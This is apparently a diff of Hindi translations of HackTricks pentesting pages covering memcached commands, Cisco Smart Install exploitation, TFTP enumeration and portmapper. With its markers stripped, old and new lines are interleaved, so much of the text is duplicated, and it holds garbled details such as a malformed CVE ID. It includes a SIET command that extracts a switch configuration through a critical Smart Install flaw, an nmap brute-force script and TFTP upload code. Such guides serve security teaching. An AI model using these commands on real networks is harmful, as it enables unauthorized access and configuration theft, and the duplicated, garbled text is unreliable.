| replace | मौजूदा कुंजी को अधिलेखित करें | `replace key 0 60 5` |
| append | मौजूदा कुंजी में डेटा जोड़ें | `append key 0 60 15` |
| prepend | मौजूदा कुंजी में डेटा प्रीपेंड करें | `prepend key 0 60 15` |
| incr | दिए गए संख्यात्मक कुंजी मान को बढ़ाता है | `incr mykey 2` |
| decr | दिए गए संख्यात्मक कुंजी मान को कम करता है | `decr mykey 5` |
| delete | मौजूदा कुंजी को हटाता है | `delete mykey` |
| flush\_all | सभी आइटमों को तुरंत अमान्य करें | `flush_all` |
| flush\_all | n सेकंड में सभी आइटमों को अमान्य करें | `flush_all 900` |
| stats | सामान्य सांख्यिकी प्रिंट करें | `stats` |
| | मेमोरी सांख्यिकी प्रिंट करें | `stats slabs` |
| | उच्च स्तरीय आवंटन सांख्यिकी प्रिंट करें | `stats malloc` |
| | आइटम्स पर जानकारी प्रिंट करें | `stats items` |
| | | `stats detail` |
| | | `stats sizes` |
| | सांख्यिकी गणना रीसेट करें | `stats reset` |
| lru\_crawler metadump | कैश में आइटमों के (अधिकांश) मेटाडेटा को डंप करें | `lru_crawler metadump all` |
| replace | मौजूदा कुंजी को अधिलेखित करें | `replace key 0 60 5` |
| append | मौजूदा कुंजी में डेटा जोड़ें | `append key 0 60 15` |
| prepend | मौजूदा कुंजी में डेटा प्रीपेंड करें | `prepend key 0 60 15` |
| incr | दिए गए संख्यात्मक कुंजी मान को बढ़ाता है | `incr mykey 2` |
| decr | दिए गए संख्यात्मक कुंजी मान को कम करता है | `decr mykey 5` |
| delete | मौजूदा कुंजी को हटाता है | `delete mykey` |
| flush\_all | सभी आइटमों को तुरंत अमान्य करें | `flush_all` |
| flush\_all | n सेकंड में सभी आइटमों को अमान्य करें | `flush_all 900` |
| stats | सामान्य सांख्यिकी प्रिंट करें | `stats` |
| | मेमोरी सांख्यिकी प्रिंट करें | `stats slabs` |
| | उच्च स्तरीय आवंटन सांख्यिकी प्रिंट करें | `stats malloc` |
| | आइटम्स पर जानकारी प्रिंट करें | `stats items` |
| | | `stats detail` |
| | | `stats sizes` |
| | सांख्यिकी गणना रीसेट करें | `stats reset` |
| lru\_crawler metadump | कैश में आइटमों के (अधिकांश) मेटाडेटा को डंप करें | `lru_crawler metadump all` |
| version | सर्वर संस्करण प्रिंट करें | `version` |
| verbosity | लॉग स्तर बढ़ाता है | `verbosity` |
| quit | सत्र समाप्त करें | `quit` |
#### यातायात सांख्यिकी <a href="#traffic-statistics" id="traffic-statistics"></a>
#### ट्रैफिक सांख्यिकी <a href="#traffic-statistics" id="traffic-statistics"></a>
आप वर्तमान यातायात सांख्यिकी का प्रश्न कर सकते हैं उपयोग करके
आप वर्तमान ट्रैफिक सांख्यिकी को क्वेरी कर सकते हैं उपयोग करके
```
stats
```
आपको एक सूची मिलेगी जो कनेक्शन की संख्या, आउट/इन बाइट्स और अधिक की सेवा करेगी।
आपको एक सूची मिलेगी जो कनेक्शन की संख्या, आउट/इन बाइट्स और बहुत कुछ सेव करेगी।
उदाहरण आउटपुट:
```
@ -83,7 +88,7 @@ END
```
#### मेमोरी सांख्यिकी <a href="#memory-statistics" id="memory-statistics"></a>
आप इस्तेमाल करके वर्तमान मेमोरी सांख्यिकी क्वेरी कर सकते हैं
आप निम्नलिखित का उपयोग करके वर्तमान मेमोरी सांख्यिकी का प्रश्न कर सकते हैं
```
stats slabs
```
@ -108,13 +113,18 @@ STAT active_slabs 3
STAT total_malloced 3145436
END
```
#### कौन से कुंजी उपयोग किए जा रहे हैं? <a href="#which-keys-are-used" id="which-keys-are-used"></a>
यदि आपको यह निश्चित नहीं है कि आपके memcached इंस्टेंस के लिए पर्याप्त मेमोरी है तो हमेशा "stats" कमांड द्वारा दिए गए "evictions" काउंटर के लिए ध्यान रखें। यदि आपके पास इंस्टेंस के लिए पर्याप्त मेमोरी है तो "evictions" काउंटर 0 होना चाहिए या कम से कम बढ़ नहीं रहा होना चाहिए।
यदि आपको यह नहीं पता है कि आपके मेमकैश्ड इंस्टेंस के लिए पर्याप्त मेमोरी है या नहीं, तो हमेशा "स्टैट्स" कमांड द्वारा दिए गए "इविक्शन्स" काउंटर का ध्यान रखें। यदि आपके पास इंस्टेंस के लिए पर्याप्त मेमोरी है तो "इविक्शन्स" काउंटर 0 होना चाहिए या कम से कम बढ़ नहीं रहा होना चाहिए।
#### कौन से कुंजी उपयोग किए जाते हैं? <a href="#which-keys-are-used" id="which-keys-are-used"></a>
वर्तमान सेट कुंजी का सीधा निर्धारण करने के लिए कोई इनबिल्टिन फ़ंक्शन नहीं है। हालांकि, आप इस्तेमाल कर सकते हैं
```
stats items
```
### विद्यमान कुंजियों की संख्या निर्धारित करने के लिए आदेश।
**Hindi Translation:**
```md
**कमांड तकनीकी:** `stats items`
```
```
stats items
STAT items:1:number 220
@ -124,4 +134,23 @@ STAT items:2:age 1405
[...]
END
```
यह कम से कम यह देखने में मदद करता है कि क्या कोई कुंजीयों का उपयोग हो रहा है। PHP स्क्रिप्ट से कुंजी नामों को डंप करने के लिए जो पहले से ही मेमकैश एक्सेस करता है, उसमें आप [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html) से PHP कोड का उपयोग कर सकते हैं।
यह कम से कम यह देखने में मदद करता है कि क्या कोई कुंजीयों का उपयोग हो रहा है। PHP स्क्रिप्ट से कुंजी नामों को डंप करने के लिए जो पहले से ही मेमकैश एक्सेस करता है, उसका उपयोग कर सकते हैं [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html) से PHP कोड।
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> के साथ जीरो से हीरो तक AWS हैकिंग सीखें</summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) पर **फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
</details>

View file

@ -2,19 +2,24 @@
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को हैकट्रिक्स में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड करने का एक्सेस** चाहिए? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाच करें!
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीज**](https://opensea.io/collection/the-peass-family) संग्रह
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापन देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाच करें!
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीज**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक पीएस और हैकट्रिक्स स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या **मुझे** ट्विटर पर **फॉलो** करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **हैकिंग ट्रिक्स साझा करें, [हैकट्रिक्स रेपो](https://github.com/carlospolop/hacktricks) और [हैकट्रिक्स-क्लाउड रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके**.
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** ट्विटर पर **फॉलो** करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें, PR जमा करके** [**हैकट्रिक्स रेपो**](https://github.com/carlospolop/hacktricks) **और** [**हैकट्रिक्स-क्लाउड रेपो**](https://github.com/carlospolop/hacktricks-cloud) **को**
</details>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## मूल जानकारी
**सिस्को स्मार्ट इंस्टॉल** एक सिस्को डिज़ाइन है जो नए सिस्को हार्डवेयर के लिए मौलिक कॉन्फ़िगरेशन और ऑपरेटिंग सिस्टम इमेज को स्वचालित करने के लिए बनाया गया है। **डिफ़ॉल्ट रूप से, सिस्को स्मार्ट इंस्टॉल सिस्को हार्डवेयर पर सक्रिय है और पोर्ट नंबर 4786 के साथ परिवहन परत प्रोटोकॉल TCP का उपयोग करता है।**
**सिस्को स्मार्ट इंस्टॉल** एक सिस्को डिज़ाइन है जो नए सिस्को हार्डवेयर के लिए ऑटोमेटिक आरंभिक विन्यास और ऑपरेटिंग सिस्टम इमेज को लोड करने के लिए बनाया गया है। **डिफ़ॉल्ट रूप से, सिस्को स्मार्ट इंस्टॉल सिस्को हार्डवेयर पर सक्रिय है और पोर्ट नंबर 4786 के साथ परिवहन परत प्रोटोकॉल TCP का उपयोग करता है।**
**डिफ़ॉल्ट पोर्ट:** 4786
```
@ -23,36 +28,41 @@ PORT STATE SERVICE
```
## **स्मार्ट इंस्टॉल शोषण उपकरण**
**2018 में, इस प्रोटोकॉल में एक महत्वपूर्ण सुरक्षा दोष, CVE-20180171, पाया गया था। सीवीएसएस स्केल पर धमकी स्तर 9.8 है।**
**2018 में, एक महत्वपूर्ण कमजोरी, CVE-20180171, इस प्रोटोकॉल में पाई गई थी। सीवीएसएस स्केल पर धमकी स्तर 9.8 है।**
**TCP/4786 पोर्ट पर भेजे गए एक विशेष रूप से तैयार पैकेट, जहां सिस्को स्मार्ट इंस्टॉल सक्रिय है, एक बफर ओवरफ्लो को ट्रिगर करता है, जिससे एक हमलावाद को निम्नलिखित कार्रवाई करने की अनुमति मिलती है:**
**एक विशेष रूप से तैयार पैकेट जो सीस्को स्मार्ट इंस्टॉल सक्रिय है, TCP/4786 पोर्ट पर भेजा जाता है, जो एक बफर ओवरफ्लो को ट्रिगर करता है, जिससे एक हमलावाद को निम्नलिखित करने की अनुमति मिलती है:**
* डिवाइस को मजबूरी से रिबूट करें
* RCE को कॉल करें
* नेटवर्क उपकरणों की विन्यासों को चुरा लें।
* नेटवर्क उपकरणों की विन्यास चुरा लें।
**[SIET](https://github.com/frostbits-security/SIET) (स्मार्ट इंस्टॉल शोषण उपकरण)** इस दोषग्रस्तता का शोषण करने के लिए विकसित किया गया था, यह आपको सिस्को स्मार्ट इंस्टॉल का दुरुपयोग करने की अनुमति देता है। इस लेख में मैं आपको दिखाऊंगा कि आप एक वैध नेटवर्क हार्डवेयर विन्यास फ़ाइल पढ़ सकते हैं। पेंटेस्टर के लिए विन्यास स्थापित करना महत्वपूर्ण हो सकता है क्योंकि इससे वह नेटवर्क की अद्वितीय विशेषताओं के बारे में सीखेगा। और यह जीवन को आसान बना देगा और हमले के लिए नए वेक्टर्स खोजने की अनुमति देगा।
**[**SIET**](https://github.com/frostbits-security/SIET) **(स्मार्ट इंस्टॉल शोषण उपकरण)** इस कमजोरी का शोषण करने के लिए विकसित किया गया था, यह आपको सस्को स्मार्ट इंस्टॉल का दुरुपयोग करने की अनुमति देता है। इस लेख में मैं आपको दिखाऊंगा कि आप एक वैध नेटवर्क हार्डवेयर विन्यास फ़ाइल पढ़ सकते हैं। पेंटेस्टर के लिए विन्यास को निकालना मूल्यवान हो सकता है क्योंकि यह नेटवर्क की अद्वितीय विशेषताओं के बारे में सीखेगा। और यह जीवन को आसान बना देगा और हमले के लिए नए वेक्टर्स खोजने की अनुमति देगा।
**लक्षित डिवाइस एक "लाइव" सिस्को कैटलिस्ट 2960 स्विच होगा। वर्चुअल इमेजेस में सिस्को स्मार्ट इंस्टॉल नहीं है, इसलिए आप केवल वास्तविक हार्डवेयर पर अभ्यास कर सकते हैं।**
**लक्षित डिवाइस एक "लाइव" सस्को कैटलिस्ट 2960 स्विच होगा। वर्चुअल इमेजेस में सस्को स्मार्ट इंस्टॉल नहीं है, इसलिए आप केवल वास्तविक हार्डवेयर पर अभ्यास कर सकते हैं।**
लक्षित स्विच का पता है **10.10.100.10 और सीएसआई सक्रिय है।** SIET लोड करें और हमला शुरू करें। **-g तर्क** का अर्थ है उपकरण से विन्यास का निर्गमन, **-i तर्क** आपको दोषग्रस्त लक्षित उपकरण का आईपी पता सेट करने की अनुमति देता है।
लक्षित स्विच का पता है **10.10.100.10 और सीएसआई सक्रिय है।** SIET लोड करें और हमला शुरू करें। **-g तर्क** उपकरण से विन्यास का निकासी करने का मतलब है, **-i तर्क** आपको कमजोर लक्षित उद्देश्य का आईपी पता सेट करने की अनुमति देता है।
```
~/opt/tools/SIET$ sudo python2 siet.py -g -i 10.10.100.10
```
<figure><img src="../.gitbook/assets/image (302).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (770).png" alt=""><figcaption></figcaption></figure>
स्विच कॉन्फ़िगरेशन **10.10.100.10** **tftp/** फ़ोल्डर में होगी।
<figure><img src="../.gitbook/assets/image (73).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1113).png" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं**? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का एक्सेस चाहिए**? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) की जाँच करें!
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर फ़ॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **हैकिंग ट्रिक्स साझा करें, [hacktricks repo](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud) में PR जमा करके**
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापित करना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण का डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीज़**](https://opensea.io/collection/the-peass-family) संग्रह।
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर फ़ॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**।**
* **हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**हैकट्रिक्स रेपो**](https://github.com/carlospolop/hacktricks) **और** [**हैकट्रिक्स-क्लाउड रेपो**](https://github.com/carlospolop/hacktricks-cloud)
</details>

View file

@ -2,22 +2,26 @@
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
दूसरे तरीके HackTricks का समर्थन करने के लिए:
HackTricks का समर्थन करने के अन्य तरीके:
* अगर आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
* यदि आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) पर **फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PR जमा करके
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) **पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
</details>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
# मौलिक जानकारी
**Trivial File Transfer Protocol (TFTP)** एक सीधा प्रोटोकॉल है जो **UDP पोर्ट 69** पर उपयोग किया जाता है जो प्रमाणीकरण की आवश्यकता न होने पर भी फ़ाइल ट्रांसफर करने की अनुमति देता है। **RFC 1350** में हाइलाइट किया गया है, इसकी सरलता का मतलब है कि इसमें मुख्य सुरक्षा सुविधाएँ नहीं हैं, जिससे सार्वजनिक इंटरनेट पर इसका सीमित उपयोग होता है। हालांकि, **TFTP** विशेष स्थितियों में इसकी प्रभावकारीता के कारण बड़े आंतरिक नेटवर्क्स में **कॉन्फ़िगरेशन फ़ाइलें** और **ROM इमेजेस** को उपकरणों जैसे **VoIP हैंडसेट्स** में वितरित करने के लिए व्यापक रूप से उपयोग किया जाता है।
**Trivial File Transfer Protocol (TFTP)** एक सीधा प्रोटोकॉल है जो **UDP पोर्ट 69** पर उपयोग किया जाता है जो प्रमाणीकरण की आवश्यकता न होने पर भी फ़ाइल ट्रांसफर करने की अनुमति देता है। **RFC 1350** में हाइलाइट किया गया है, इसकी सरलता का मतलब है कि इसमें मुख्य सुरक्षा सुविधाएँ नहीं हैं, जिससे सार्वजनिक इंटरनेट पर इसका सीमित उपयोग होता है। हालांकि, **TFTP** विशेष स्थितियों में इसकी प्रदर्शन क्षमता के कारण बड़े आंतरिक नेटवर्कों में **कॉन्फ़िगरेशन फ़ाइलें** और **ROM इमेजेस** को उपकरणों जैसे **VoIP हैंडसेट्स** में वितरित करने के लिए व्यापक रूप से उपयोग किया जाता है।
**TODO**: बिटटोरेंट-ट्रैकर क्या है इसके बारे में जानकारी प्रदान करें (Shodan इस पोर्ट को उस नाम से पहचानता है)। अगर इसके बारे में अधिक जानकारी है तो हमें बताएं, उदाहरण के लिए [**HackTricks टेलीग्राम समूह**](https://t.me/peass) में (या [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) में एक github मुद्दे में)।
**TODO**: बिटटोरेंट-ट्रैकर क्या है इसके बारे में जानकारी प्रदान करें (Shodan इस पोर्ट को इस नाम से पहचानता है)। यदि इसके बारे में अधिक जानकारी है तो हमें बताएं, उदाहरण के लिए [**HackTricks टेलीग्राम समूह**](https://t.me/peass) में (या [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) में एक github मुद्दे में)।
**डिफ़ॉल्ट पोर्ट:** 69/UDP
```
@ -26,7 +30,7 @@ PORT STATE SERVICE REASON
```
# जांच
TFTP निर्देशिका सूची प्रदान नहीं करता है, इसलिए स्क्रिप्ट `nmap` से `tftp-enum` डिफ़ॉल्ट पथों को ब्रूट-फ़ोर्स करने का प्रयास करेगा।
TFTP निर्देशिका सूची प्रदान नहीं करता है, इसलिए स्क्रिप्ट `tftp-enum` from `nmap` डिफ़ॉल्ट पथ को ब्रूट-फ़ोर्स करने का प्रयास करेगा।
```bash
nmap -n -Pn -sU -p69 -sV --script tftp-enum <IP>
```
@ -48,16 +52,21 @@ client.upload("filename to upload", "/local/path/file", timeout=5)
* `port:69`
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>जीरो से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>ानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
दूसरे तरीके HackTricks का समर्थन करने के लिए:
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में** देखना चाहते हैं या **HackTricks को PDF में डाउनलोड** करना चाहत हैं तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
* अगर आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* प्राप्त करें [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com)
* खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
</details>

View file

@ -4,49 +4,58 @@
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
दूसरे तरीके HackTricks का समर्थन करने के लिए:
HackTricks का समर्थन करने के अन्य तरीके:
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में** देखना चाहते हैं या **HackTricks को PDF में डाउनलोड** करना चाहत हैं तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर **फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos मे
* अगर आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में** दिखाया जाए या **HackTricks को PDF में डाउनलोड** करें तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos पर PRs सबिट करके।
</details>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## मूल जानकारी
**पोर्टमैपर** एक सेवा है जो **RPC** (Remote Procedure Call) कार्यक्रम संख्याओं को नेटवर्क सेवा पोर्टों से मैपिंग के लिए उपयोग किया जाता है। यह **Unix आधारित सिस्टमों** में एक महत्वपूर्ण घटक के रूप में कार्य करता है, जो इन सिस्टमों के बीच जानकारी का आदान-प्रदान सुविधाजनक बनाता है। **पोर्टमैपर** से संबंधित **पोर्ट** को हमेशा हमलावरों द्वारा स्कैन किया जाता है क्योंकि यह मूल्यवान जानकारी प्रकट कर सकता है। इस जानकारी में **Unix ऑपरेटिंग सिस्टम (OS)** के प्रकार और सिस्टम पर उपलब्ध सेवाओं के विवरण शामिल हैं। इसके अतिरिक्त, **पोर्टमैपर** को सामान्यत: **NFS (Network File System)**, **NIS (Network Information Service)**, और अन्य **RPC-आधारित सेवाओं** के साथ सामान्यत: प्रभावी रूप से नेटवर्क सेवाओं का प्रबंधन करने के लिए उपयोग किया जाता है।
**पोर्टमैपर** एक सेवा है जो **RPC** (Remote Procedure Call) कार्यक्रम संख्याओं के लिए नेटवर्क सेवा पोर्टों को मैप करने के लिए प्रयोग किया जाता है। यह **Unix आधारित सिस्टमों** में एक महत्वपूर्ण घटक के रूप में कार्य करता है, जो इन सिस्टमों के बीच जानकारी का आदान-प्रदान सुविधा प्रदान करता है। **पोर्टमैपर** के साथ जुड़े **पोर्ट** को हमेशा हमलावरों द्वारा स्कैन किया जाता है क्योंकि यह मूल्यवान जानकारी प्रकट कर सकता है। इस जानकारी में **Unix ऑपरेटिंग सिस्टम (OS)** के प्रकार और सिस्टम पर उपलब्ध सेवाओं के विवरण शामिल हैं। इसके अतिरिक्त, **पोर्टमैपर** को सामान्य रूप से **NFS (नेटवर्क फ़ाइल सिस्टम)**, **NIS (नेटवर्क सूचना सेवा)**, और अन्य **RPC आधारित सेवाओं** के साथ उपयोग किया जाता है ताकि नेटवर्क सेवाओं का प्रबंधन प्रभावी ढंग से किया जा सके
